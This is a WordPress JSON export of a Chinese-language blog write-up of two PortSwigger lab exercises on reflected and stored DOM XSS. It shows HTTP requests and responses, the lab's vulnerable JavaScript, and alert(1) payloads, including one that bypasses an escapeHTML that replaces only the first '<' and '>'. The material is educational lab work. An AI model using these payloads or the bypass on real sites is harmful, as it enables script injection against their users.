{"id":1255,"date":"2023-02-18T17:38:00","date_gmt":"2023-02-18T09:38:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1255"},"modified":"2024-03-16T00:39:12","modified_gmt":"2024-03-15T16:39:12","slug":"dom-xss-with-reflected-and-store","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1255","title":{"rendered":"DOM XSS with reflected and store"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Reflected DOM XSS<\/h2>\n\n\n\n<p><\/p>\n\n\n\n<p>\u76ee\u6a19\u7db2\u7ad9\u6709xss\u6f0f\u6d1e\uff0c\u5728\u8acb\u6c42\u4e2d\u6ce8\u5165<code>\\\"-alert(1)}\/\/<\/code>\u53ef\u78ba\u8a8dxss\u6f0f\u6d1e\uff0c\u5206\u6790\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################# request #################\nGET \/?search=%5C%22-alert%281%29%7D%2F%2F HTTP\/2\n...omit...\n\n################# response ################# \n...omit...\n&lt;script src='\/resources\/js\/searchResults.js'&gt;&lt;\/script&gt;\n&lt;script&gt;<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">search('search-results')<\/mark>&lt;\/script&gt;\n&lt;section class=\"blog-header\"&gt;\n&lt;\/section&gt;<\/code><\/pre>\n\n\n\n<p>\u5f9e\u8fd4\u56de\u5167\u5bb9\u767c\u73fe\u6703\u53bb\u8b80\u53d6\/resources\/js\/searchResults.js\uff0c\u5167\u5bb9\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">search(path)<\/mark> {\nvar xhr = new XMLHttpRequest();\n    xhr.onreadystatechange = function() {\n        if (this.readyState == 4 &amp;&amp; this.status == 200) {\n            <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">eval('var searchResultsObj = ' + this.responseText);<\/mark>\n            displaySearchResults(searchResultsObj);\n        }\n    };\nxhr.open(\"GET\", <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">path <\/mark>+ window.location.search);\nxhr.send();\n\n    function displaySearchResults(searchResultsObj) {\n        var blogHeader = document.getElementsByClassName(\"blog-header\")&#91;0];\n        var blogList = document.getElementsByClassName(\"blog-list\")&#91;0];\n        var searchTerm = searchResultsObj.searchTerm\n        var searchResults = searchResultsObj.results\n\n        var h1 = document.createElement(\"h1\");\n        <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">h1.innerText = searchResults.length + \" search results for '\" + searchTerm + \"'\";<\/mark>\n        blogHeader.appendChild(h1);\n        var hr = document.createElement(\"hr\");\n        blogHeader.appendChild(hr)\n...omit...<\/code><\/pre>\n\n\n\n<p>\u6839\u64da\u8ff0\u4e0a\u7684js\uff0c\u6703\u5728\u767c\u4e00\u500b\u8acb\u6c42\u5230search-results\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################# request #################\nGET \/search-results?search=%5C%22-alert%281%29%7D%2F%2F HTTP\/2\n...omit...\n\n################# response ################# \n...omit...\n{\"results\":&#91;],\"searchTerm\":\"\\\\\"-alert(1)}\/\/\"}<\/code><\/pre>\n\n\n\n<p>\u8fd4\u56de\u5167\u5bb9\u6703\u7b49\u65bcsearchResults.js\u5167\u7684<code>this.responseText<\/code>\uff0c\u4e26\u88ab<code>eval('var searchResultsObj = ' + this.responseText);<\/code>\u9019\u6bb5\u57f7\u884c<\/p>\n\n\n\n<p>\u7531\u65bc<code>-<\/code>\u505a\u4e86\u5206\u9694\uff0c\u56e0\u6b64<code>searchResultsObj <\/code>\u6700\u5f8c\u53ea\u8b80\u53d6\u524d\u534a\u6bb5\u7684<code>\"results\":[]<\/code>,<code>\"searchTerm\":\"\\\\\"<\/code>\uff0c\u5f8c\u534a\u6bb5\u7684alert(1)}\/\/&#8221;}\u6703\u88abeval()\u57f7\u884c<\/p>\n\n\n\n<p>\u5982\u679c\u900f\u904echrome inspect\u770b\u5ba3\u67d3\u7d50\u679c\uff0c\u53ef\u4ee5\u767c\u73fesearchTerm\u662f\u7a7a\u7684\uff0c\u4f46\u5be6\u969b\u4e0aalert(1)\u5df1\u7d93\u57f7\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;section class=\"blog-header\"&gt;\n    &lt;h1&gt;0 search results for 'NaN'&lt;\/h1&gt;&lt;hr&gt;\n&lt;\/section&gt;<\/code><\/pre>\n\n\n\n<p>Lab: Reflected DOM XSS<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Stored DOM XSS<\/h2>\n\n\n\n<p>\u5132\u5b58<code>&lt;img src=1 onerror=alert(1)&gt;<\/code>\u5728\u7559\u8a00\u5340<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/post\/comment HTTP\/2\nHost: 0abf000604c5e7b5808f3f4500fa00dd.web-security-academy.net\n...omit...\ncsrf=9kAsinFgs3nFyfU1Nxg1hy7NDUxTYM4I&amp;postId=4&amp;comment=%3Cimg+src%3D1+onerror%3Dalert%281%29%3E&amp;name=aaa&amp;email=aaa%40aaa&amp;website=<\/code><\/pre>\n\n\n\n<p>\u4e26\u8a2a\u554f\u525b\u5132\u5b58\u7684\u9801\u9762<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################ request ################ \nGET \/post?postId=4 HTTP\/2\n...omit...\n\n################ response ################ \n...omit...\n&lt;script src='\/resources\/js\/loadCommentsWithVulnerableEscapeHtml.js'&gt;&lt;\/script&gt;\n&lt;script&gt;loadComments('\/post\/comment')&lt;\/script&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>\u5f9e\u8fd4\u56de\u5167\u5bb9\u767c\u73fe\u6703\u53bb\u8b80\u53d6\/resources\/js\/loadCommentsWithVulnerableEscapeHtml.js\uff0c\u5167\u5bb9\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function loadComments(postCommentPath) {\n    let xhr = new XMLHttpRequest();\n    xhr.onreadystatechange = function() {\n        if (this.readyState == 4 &amp;&amp; this.status == 200) {\n            let comments = JSON.parse(this.responseText);\n            displayComments(comments);\n        }\n    };\n    <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">xhr.open(\"GET\", postCommentPath + window.location.search);<\/mark>\n    xhr.send();\n\n    function escapeHTML(html) {\n        return html.replace('&lt;', '&amp;lt;').replace('&gt;', '&amp;gt;');\n    }\n\n    function displayComments(comments) {\n        let userComments = document.getElementById(\"user-comments\");\n\n        for (let i = 0; i &lt; comments.length; ++i)\n        {\n            comment = comments&#91;i];\n            let commentSection = document.createElement(\"section\");\n            commentSection.setAttribute(\"class\", \"comment\");\n\n            let firstPElement = document.createElement(\"p\");\n\n            let avatarImgElement = document.createElement(\"img\");\n            avatarImgElement.setAttribute(\"class\", \"avatar\");\n            avatarImgElement.setAttribute(\"src\", comment.avatar ? escapeHTML(comment.avatar) : \"\/resources\/images\/avatarDefault.svg\");\n\n            if (comment.author) {\n                if (comment.website) {\n                    let websiteElement = document.createElement(\"a\");\n                    websiteElement.setAttribute(\"id\", \"author\");\n                    websiteElement.setAttribute(\"href\", comment.website);\n                    firstPElement.appendChild(websiteElement)\n                }\n\n                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)\n                firstPElement.innerHTML = newInnerHtml\n            }\n\n            if (comment.date) {\n                let dateObj = new Date(comment.date)\n                let month = '' + (dateObj.getMonth() + 1);\n                let day = '' + dateObj.getDate();\n                let year = dateObj.getFullYear();\n\n                if (month.length &lt; 2)\n                    month = '0' + month;\n                if (day.length &lt; 2)\n                    day = '0' + day;\n\n                dateStr = &#91;day, month, year].join('-');\n\n                let newInnerHtml = firstPElement.innerHTML + \" | \" + dateStr\n                firstPElement.innerHTML = newInnerHtml\n            }\n\n            firstPElement.appendChild(avatarImgElement);\n\n            commentSection.appendChild(firstPElement);\n\n            if (comment.body) {\n                let commentBodyPElement = document.createElement(\"p\");\n                <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">commentBodyPElement.innerHTML = escapeHTML(comment.body);<\/mark>\n\n                commentSection.appendChild(commentBodyPElement);\n            }\n            commentSection.appendChild(document.createElement(\"p\"));\n\n            userComments.appendChild(commentSection);\n        }\n    }\n};\n<\/code><\/pre>\n\n\n\n<p>\u6839\u64da\u8ff0\u4e0a\u7684js\uff0c\u6703\u5728\u767c\u4e00\u500b\u8acb\u6c42\u5230\/post\/comment\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############ request ############\nGET \/post\/comment?postId=4 HTTP\/2\n...omit...\n\n############ response ############\n...omit...\n{\"avatar\":\"\",\"website\":\"\",\"date\":\"2024-02-15T09:28:25.629590251Z\",\"body\":\"<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&lt;img src=1 onerror=alert(1)&gt;<\/mark>\",\"author\":\"aaa\"}<\/code><\/pre>\n\n\n\n<p>\u5f9e\u8fd4\u56de\u7d50\u679c\u53ef\u4ee5\u770b\u5230\u8b80\u53d6<code>&lt;img src=1 onerror=alert(1)&gt;<\/code><\/p>\n\n\n\n<p>\u4f7f\u7528chrome inspect\u4e5f\u53ef\u4ee5\u770b\u5230\u6709\u6e32\u67d3\u6210\u529f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;p&gt;<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&lt;img src=1 onerror=alert(1)&gt;<\/mark>&lt;\/p&gt;<\/code><\/pre>\n\n\n\n<p>\u4f46\u662fchrome\u537b\u4e0d\u6703\u5f48\u51fa\u4efb\u4f55\u4fe1\u606f\uff0c\u9019\u500bxss\u662f\u7121\u6548\u7684<\/p>\n\n\n\n<p>\u5206\u6790\u539f\u56e0\u5f8c\u53ef\u4ee5\u767c\u73fe\uff0c\/resources\/js\/loadCommentsWithVulnerableEscapeHtml.js\u5167\u6709\u4e00\u500b\u904e\u6ffe\u6a5f\u5236\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    function escapeHTML(html) {\n        return html.replace('&lt;', '&amp;lt;').replace('&gt;', '&amp;gt;');\n    }<\/code><\/pre>\n\n\n\n<p>\u4e0a\u8ff0\u5b89\u5168\u6a5f\u523a\u6703\u5c07<code>&lt;<\/code>\u548c<code>&gt;<\/code>\u505a\u8f49\u7fa9<\/p>\n\n\n\n<p>\u4f46\u662f\uff0c\u9019\u500b\u5b89\u5168\u6a5f\u5236\u6709\u500b\u5c0f\u554f\u984c\uff0c\u7576\u7b2c\u4e00\u500b\u53c3\u6578\u662f\u5b57\u4e32\u6642\uff0c\u51fd\u6578\u50c5\u66ff\u63db\u7b2c\u4e00\u6b21\u51fa\u73fe\u7684\u4f4d\u7f6e\uff0c\u56e0\u6b64\u53ea\u8981\u591a\u63d0\u4f9b<code>&lt;<\/code>\u548c<code>&gt;<\/code>\uff0c\u4e4b\u5f8c\u5c31\u6703\u505a\u8f49\u7fa9\u4e86\uff0c\u56e0\u6b64\u9700\u8981\u5c07XSS\u6539\u70ba<code>&lt;&gt;&lt;img src=1 onerror=alert(1)&gt;<\/code>\uff0c\u5132\u5b58\u5f8c\u5728\u91cd\u65b0\u8b80\u53d6\u4e00\u6b21\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############ request ############\nGET \/post\/comment?postId=4 HTTP\/2\n...omit...\n\n############ response ############\n...omit...\n{\"avatar\":\"\",\"website\":\"\",\"date\":\"2024-02-15T09:38:25.629590251Z\",\"body\":\"<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&lt;&gt;&lt;img src=1 onerror=alert(1)&gt;<\/mark>\",\"author\":\"aaa\"}<\/code><\/pre>\n\n\n\n<p>\u5f9e\u8fd4\u56de\u7d50\u679c\u53ef\u4ee5\u770b\u5230\u8b80\u53d6<code>&lt;&gt;&lt;img src=1 onerror=alert(1)&gt;<\/code><\/p>\n\n\n\n<p>\u4f7f\u7528chrome inspect\u4e5f\u53ef\u4ee5\u770b\u5230\u6709\u6e32\u67d3\u6210\u529f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;p&gt;\n\"&lt;&gt;\"\n&lt;img src=\"1\" onerror=\"alert(1)\"&gt;\n&lt;\/p&gt;<\/code><\/pre>\n\n\n\n<p>\u7b2c\u4e00\u500b<code>&lt;&gt;<\/code>\u56e0\u70ba\u88ab\u8f49\u7fa9\uff0c\u6240\u4ee5\u88ab\u7576\u6210\u5b57\u7b26\u4e32\uff0c\u7b2c\u4e8c\u500b\u5247\u88ab\u7576\u505a\u4ee3\u78bc\u7684\u4e00\u90e8\u4efd\uff0c\u4e26\u6210\u529f\u57f7\u884cXSS<\/p>\n\n\n\n<p>Lab: Stored DOM XSS<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Reflected DOM XSS \u76ee\u6a19\u7db2\u7ad9\u6709xss\u6f0f\u6d1e\uff0c\u5728 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[40],"tags":[41],"class_list":["post-1255","post","type-post","status-publish","format-standard","hentry","category-clientside","tag-xss"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1255","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1255"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1255\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1255"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1255"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1255"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}